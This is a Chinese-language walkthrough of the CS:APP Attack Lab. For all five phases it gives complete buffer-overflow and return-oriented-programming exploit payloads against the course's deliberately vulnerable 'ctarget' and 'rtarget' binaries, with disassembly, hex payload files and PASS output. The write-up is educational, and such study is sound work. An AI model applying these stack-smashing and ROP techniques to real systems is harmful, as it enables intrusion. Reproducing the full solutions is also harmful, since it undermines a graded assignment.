# CS:APP Attack Lab
## 背景知識
安裝的流程和之前一樣,就不在贅述了。而本作業的題目說明在 [attacklab.pdf](http://csapp.cs.cmu.edu/3e/attacklab.pdf) 。
本作業一共有 5 題。分別對具有不同安全漏洞的兩個程式攻擊,而透過本次作業可以學到:
* 安全漏洞導致 Buffer overflow 的問題
* 如何編寫更安全的程式
* 了解 x86-64 的堆疊和參數傳遞機制
* 了解x86-64 指令的編碼方式
* 更深入使用 `GDB` 和 `OBJDUMP` 等除錯工具
### 文件結構
```
- cookie.txt
- ctarget
- rtarget
- farm.c
- hex2row
```
* `cookie.txt`: 一個8位16進制數,作為攻擊的特殊標誌符
* `ctarget`: 程式注入攻擊的目標文件
* `rtarget`: ROP 攻擊目標文件
* `farm.c`: 在 ROP 攻擊中作為 `gadgets` 的產生源
* `hex2row`: 將16進制數轉換為攻擊字符
### 題目說明

## `phase_1`
本題會執行一段程式碼 `test` 函式,原本在第 4 行 `getbuf` 函式執行結束後會回到第 5 行 `printf` 。但現在希望可以跳到令一個完全不相關的函式 `touch1`。
```cpp=
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
```
因此先觀察 `getbuf` 函式。一開始它將堆疊指標減 40 (`0x28`),接著呼叫 `Gets` 。
```cpp
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
```
> $ 3. Target Programs:
> The function Gets is similar to the standard library function gets—it reads a string from standard input (terminated by ‘\n’ or end-of-file) and stores it (along with a null terminator) at the specified destination.
得知 `Gets` 函式和標準庫的 `gets` 是一樣不會檢查輸入長度,因此就知道 `Gets` 的字串緩衝區只有 40 個 byte,而這 40 個後面緊接的就是回傳地址,因此我們可以將堆疊畫成以下樣子,既然它沒有邊界檢查,就代表我只要輸入 `41 ~ 48` 個數據就可以改寫寫回地址。

那要蓋過去的地址就為 `touch1` 函式的初始地址,可以看到是 `0x4017c0` 。
```cpp
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
```
現在要攻擊程式了,首先要把剛剛得到的答案寫入 `sol_1.txt` 檔案裡。注意到我們機器是使用 Little-Endian ,因此要把地址反過來寫。
```cpp
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
```
接著利用 `hex2row` 將這個 16 進制的文字檔轉成攻擊字符,再使用 `ctarget` 將攻擊字符注入目標文件。本題就成功攻擊了。
```
$ ./hex2raw < sol_1.txt > sol_1-raw.txt
$ /ctarget -q -i sol_1-raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 C0 17 40 00 00 00 00 00
```
## `phase_2`
第二題一樣希望從 `test` 再執行 `getbuf` 後跳到 `touch` 函式。但不同的是,`touch2` 函式有一個參數 `val` 要和 cookie 值一樣。
```cpp
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
```
那想當然就要先去看 cookie 這個值存放在哪裡阿。透過下面可以看到 cookie 是存在 `0x202ce2 + rip` 的記憶體位置。而我們要的輸入值則是存在 `rdi` 。因此這邊就知道我們必須要將 `rdi` 暫存器輸入成和 `0x202ce2 + rip` 記憶體位置存放的值一樣。
```cpp
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
```
可以在 cookie.txt 中看到 `0x202ce2 + rip` 存放的值為 `0x59b997fa`。
因此可以開始設計一套攻擊流程。首先,由上題可以知道 buffer 的 40 ~ 47 個 byte 可以更改回傳地址,但我們不能直接更改成 `touch2` 的地址,因為 `rdi` 還未更改到。所以我們可以在 buffer 區寫一段程式碼,並將 40 ~ 47 的位置指向這段程式,最後在回傳回 `touch2` 的地址。
而這段程式要做的是有以下三件:
* 將 `rdi` 設置為 `0x59b997fa`
* 設置回傳到 `touch2` 的地址
* 回傳動作
可以在 `asm_2.s` 寫成:
```
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
```
接著執行以下流程
```
$ gcc -c asm_2.s // asm_2.s -> asm_2.o
$ objdump -d asm_2.o > asm_2.d // asm_2.o -> asm_2.d
$ objdump -d asm_2.o > asm_2.txt // asm_2.o -> asm_2.txt
```
現在需要知道指向堆棧的地址在哪裡,可以用以下 `gdb` 操作獲得 `rsp` 在執行 `bufget` 的值。因此可以獲得值為 `0x5561dc78`。
```cpp
(gdb) b bufget
(gdb) run -q -i asm_2.txt
(gdb) print $rsp
$1 = (void *) 0x5561dca0
(gdb) stepi
14 in buf.c
(gdb) print $rsp
$2 = (void *) 0x5561dc78
```
我們可以先來考慮整個堆疊的狀態

而整題的流程如下
* `getbuf` 的回傳值被改成 `0x5561dc78` ,因此回傳到堆疊底部
* 執行堆疊底部存放三條指令
* 第一條將 `rdi` (函式第一個參數) 改成 `val` 值
* 第二條在堆疊中推入 `touch2` 的地址
* 第三條回傳回 `touch2` 地址
不但成功進入 `touch2` ,也更改了 `rdi` 的值。
打開 `asm_2.d` 可以看到組合語言的 16 進制表示
```cpp
asm_2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
```
所以最後將答案寫入 `sol_2.txt`
```cpp
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
```
成功通過第二關
```
$ ./hex2raw < sol_2.txt > sol_2-raw.txt
$ ./ctarget -q -i sol_2-raw.txt
/ctarget -q -i sol_2-raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59
68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00
00 00 00
```
## `phase_3`
第三題和第二題的架構類似,不同的是 `touch3` 函式的參數是一個字串。它呼叫 `hexmatch` 函式來比較字串。
```cpp
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
```
首先先來觀察一下 `touch3` 和 `hexmatch` 的組合語言
```cpp
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff callq 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 retq
```
我們要先理解它的比較邏輯,從上題得知,cookie 存放的記憶體地址為 `0x59b997fa` ,從 `touch3` 函式作為參入輸入進 `hexmatch` 的 `val` 變數。接著使用 `sprintf` 函式將 `0x59b997fa` 以 8 位的 16 進制存放在字串 `s` ,最後和我們目標要注入的 `sval` 做比較,注意到存入只存 8 位,但比較 9 位,是因為字串預設有結束字符 `'\0'` ,因此我們要注入的資料型態為 `0x59b997fa` 轉成字串後,再將根據每個字元轉成 ASCII 代碼型態。
| 字串 | '5' | '9' | 'b' | '9' | '9' | '7' | 'f' | 'a' | '\0' |
| -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| ASCII code | 35 | 39 | 62 | 39 | 39 | 37 | 66 | 61 | 0 |
那能不能直接像第二題一樣把值放入 `rdi` 就好呢,我們來考慮一下文件中提到建議。
> When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.
在第二題的流程中,從 `getbuf` 跳到 `touch2` 就直接比較數值了。但在第三題中,則是先呼叫 `hexmatch` 再呼叫 `strncmp` ,而這兩個函式都會對堆疊進行覆寫,如果我們照第二題的方式將上面得到的數值放入 `rdi` ,它會在調用這兩個函式時被改掉而導致不能和我們預期的數值一樣。
那到底要把數值存到哪裡才不會被覆寫,可以考慮以下幾個條件。
1. 會影響堆疊的指令為 `push` ,可以計算從執行我們注入的程式到執行 `strncmp` 之前操作了幾次。可以看到 `touch3` 執行 1 次、`hexmatch` 執行 3 次,將堆疊向下減了 32 。也就是說從 `0x5561dc78 + 0x20 = 0x5561dc98` 的位置都會被覆寫。
2. `0x5561dca0` 是存放堆疊底層,使其執行我們注入的程式。
因此得到的結論就是 `0x5561dc78` 到 `0x5561dca0` 都不能存放,所以要放在比 `0x5561dca0` 高 8 位,也就是 `0x5561dca8` 的位置。
剩下的步驟就和第二題類似了。要注入的程式如下
```cpp
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
```
對應的堆疊就如下圖所示:

完整流程:
* `getbuf` 的回傳值被改成 `0x5561dc78` ,因此回傳到堆疊底部
* 執行堆疊底部存放三條指令
* 第一條將 `rdi` (函式第一個參數) 改成 `0x5561dca8` ,也就是存放資料的地址
* 第二條在堆疊中推入 `touch3` 的地址
* 第三條回傳回 `touch3` 地址
* 進入 `touch3` 後使用 `push` 一次
* 進入 `hexmatch` 後使用 `push` 三次
* 此時堆疊中 `0x5561dc78` 到 `0x5561dca0` 的區域都被複寫
* 進入 `strncmp` ,`rdi` 的記憶體位置沒被複寫,因此比較成功
將注入程式轉成 16 進制
```
$ gcc -c asm_3.s // asm_2.s -> asm_2.o
$ objdump -d asm_3.o > asm_3.d // asm_3.o -> asm_3.d
```
```cpp
asm_3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
```
就可以寫本題的答案啦
```
68 fa 18 40 00 48 c7 c7
a8 dc 61 55 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
```
最後執行,成功通過第三關
```
$ ./hex2raw < sol_3.txt > sol_3-raw.txt
$ ./ctarget -q -i sol_3-raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 48 C7 C7 A8 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
```
## ROP
第四、五題將堆疊指標隨機化並且使一些部份的堆疊不可執行。這導致我們沒辦法向前三題一樣直接將想執行的程式注入到堆疊區。因此要使用 ROP 技術。
它的核心思想就是要利用已存在的程式,利用巧妙的切割,使其變成完全不一樣的程式,下面舉個例子:
```cpp
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
```
這是一個簡單的程式,它的組合語言的 byte 形式為 `c7 07 d4 48 89 c7 c3` 。但如果我們只保留 `d4 48 89 c7 c3` 呢
```cpp
0000000000000000 <.text>:
0: 48 89 c7 mov %rax,%rdi
3: c3 ret
```
可以看到就便完全不一樣的行為了。因此我們就可以利用這點來攻擊。可以先使用 `objdump -d ./rtarget > rtarget.s` 反彙編。並在裡面找到
```cpp
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 ret
```
由上面知道這個函式的地址為 `0x4019b5` ,我們就可以計算出第三個數值開始的位置為 `0x4019b5 + 0x3 = 0x4019b8` ,可以將這個地址 push 進堆疊中,當 ret 的時候就會跳到這裡。而這段指令的最後面為 `c3` 也就是 `ret` 指令。因此可以將多個攻擊程式依次放入堆疊中,這樣每次 ret 就會照我們的想法執行攻擊程式了。就如下圖所示,gadget 就是我們切割出來的程式碼。

## `phase_4`
第四題要求使用 ROP 來做 `phase_2`。第二題原本是
* 將 `0x59b997fa` 放入 `rdi`
* 回傳至 `touch2`
而現在我們因為不知道堆疊地址,因此無法將其直接給 `rdi` ,但還是可以利用 `getbuf` 會寫堆疊的特性,將 `0x59b997fa` 放入堆疊後,在利用 `pop` 出來。所以流程變成
* 使用 `pop` 將堆疊中的數值抓出來給某暫存器
* 使用 `mov` 將暫存的暫存器給 `rdi`
* 回傳至 `touch2`
接著就要在 `rtarget.s` 中湊出對應的 gadget 。可以對應教材的表格來尋找。


在裡面找到回傳值為 `rax`。
```cpp
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
```
因此我們可以這樣湊
```cpp
popq %rax
movq %rax %rdi
asm byte:
58 48 89 c7
```
再次去 `rtarget.s` 尋找,就可以找到以下兩個。但是其實其他還有很多,但其他不行的原因是因為可以看到 `addval_219` 的第 5 個數值之後為 `58 90 c3` ,其中 `58` 和 `c3` 是我們想要的 `popq` 和 `ret` ,而 `90` 則是 NOP ,這也就表示若不是 `90` 則會導致整個程式錯誤,而 `setval_426` 也是如此,對應 `48 89 c7 90 c3`。
而 `addval_219` 對應的地址為 `0x4019ab` , `setval_426` 對應的地址為 `0x4019c5` 。
```cpp
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret
```
最後要將其依次放入堆疊中,注意若是 gadget 則是要放指令地址。
1. `popq` 對應地址 `0x4019ab`
2. cookie 的數值
3. `movq` 對應地址 `0x4019c5`
4. `touch2` 函式對應地址 `0x4017ec`
堆疊的樣子就變成

完整流程:
* `getbuf` 的回傳值被改成 `popq` 的地址
* 執行 `popq` 將現在 `rsp` 的值給 `rax` ,`rsp` 再加 8,執行 `ret` 回傳回 `movq` 的地址
* 執行 `movq` 將 `rax` 賦值給 `rdi` ,執行 `ret` 回傳回 `touch2` 的地址
將其寫入 `sol_4.txt`
```cpp
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
```
最後執行,攻擊成功
```
$ ./hex2raw < sol_4.txt > sol_4-raw.txt
$ ./rtarget -q -i sol_4-raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
```
## `phase_5`
第五題一樣要使用 ROP 來實作 `phase_3` 。由於堆疊已經隨機化了,我們無法直接取得 cookie 所在地址。因此可以利用返回時的堆疊指標 + 一段偏移量。
而偏移量要如何取得,考慮到本題的目標
* `rdi` 要是返回的 `rsp` + 偏移量
* 跳到 `touch3`
* 用已存在的程式來操作暫存器
因此可以設計一系列暫存器操作流程將上面步驟做完,在看使用到堆疊多少空間後,在堆疊後一個地方放上 cookie 值。而偏移量就是第一個 gadget 到最後一個的距離。
但我們還需要考慮兩件事
1. 需要將暫存器的操作湊出來,可以透過上面的表來查,因為最後是要將暫存器的值相加,再去記憶體取值,只有以下的函式比較適合,因此我們要將 `rsp` 和偏移量分別放入 `rdi` 和 `rsi` ,最後在把 `rax` 賦值給 `rdi` (第一個參數)。
```cpp
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret
```
3. 偏移量是常數,所以需要放入堆疊再用 `pop` 出來
開始操作,根據上述第一點將 **rsp -> rdi** 、 **偏移量給 rsi**
1. 將 `rsp` 取出: `movq rsp rax` (48 89 e0)
```cpp
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret
```
2. 將 `rax` 賦值給 `rdi`: `movq rax rdi` (48 89 c7)
```cpp
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret
```
3. `pop` 出偏移量給 `rax`: `popq rax` (58)
```cpp
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
```
4. 放入偏移量,但我們還不知道有幾個指令
5. 將 `eax` 賦值給 `edx`: `movl eax edx` (89 c2)
```cpp
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 ret
```
6. 將 `edx` 賦值給 `ecx`: `movl edx ecx` (89 d1),注意到多了一個 (38 c9) ,查表為 `cmpb %cl %cl` 不影響程式行為。
```cpp
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 ret
```
7. 將 `ecx` 賦值給 `esi`: `movl ecx esi` (89 ce)
```cpp
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 ret
```
8. 從記憶體位置取出 cookie 值: `lea (%rdi,%rsi,1),%rax`
```cpp
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3
```
9. 將 `rax` 賦值給 `rdi`: `movq rax rdi` (48 89 c7)
```cpp
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret
```
10. 呼叫 `touch3` 函式
我們可以將 cookie 的值放在這些操作的上面,可以來考慮偏移量是多少了。在第一步將 `rsp` 取出時,堆疊指標其實是指著更上面的空間的,就如堆疊圖所示,從堆疊指標算到 cookie 地址一共 9 個空間,偏移量就是 `9 * 8 = 0x48` 。

完整流程:
* `getbuf` 的回傳值被改成 gadget 的地址
* 多個 gadget 執行將 cookie 值存進 `rdi`
* 返回 `touch3`
將答案寫入 `sol_5.txt`
```cpp
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 <- movq %rsp, %rax
c5 19 40 00 00 00 00 00 <- movq %rax, %rdi
ab 19 40 00 00 00 00 00 <- popq %rax
48 00 00 00 00 00 00 00 <- bias
42 1a 40 00 00 00 00 00 <- movl %eax, %edx
34 1a 40 00 00 00 00 00 <- movl %edx, %ecx
27 1a 40 00 00 00 00 00 <- movl %ecx, %esi
d6 19 40 00 00 00 00 00 <- lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00 <- movq %rax, %rdi
fa 18 40 00 00 00 00 00 <- 呼叫 touch3
35 39 62 39 39 37 66 61 <- cookie 值
00 00 00 00 00 00 00 00 <- cookie 值
```
最後執行,最後一題就攻擊成功啦
```cpp
$ ./hex2raw < sol_5.txt > sol_5-raw.txt
$ ./rtarget -q -i sol_5-raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 0
0 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 4
2 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 0
0 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 0
0 00 00 00 00 00
```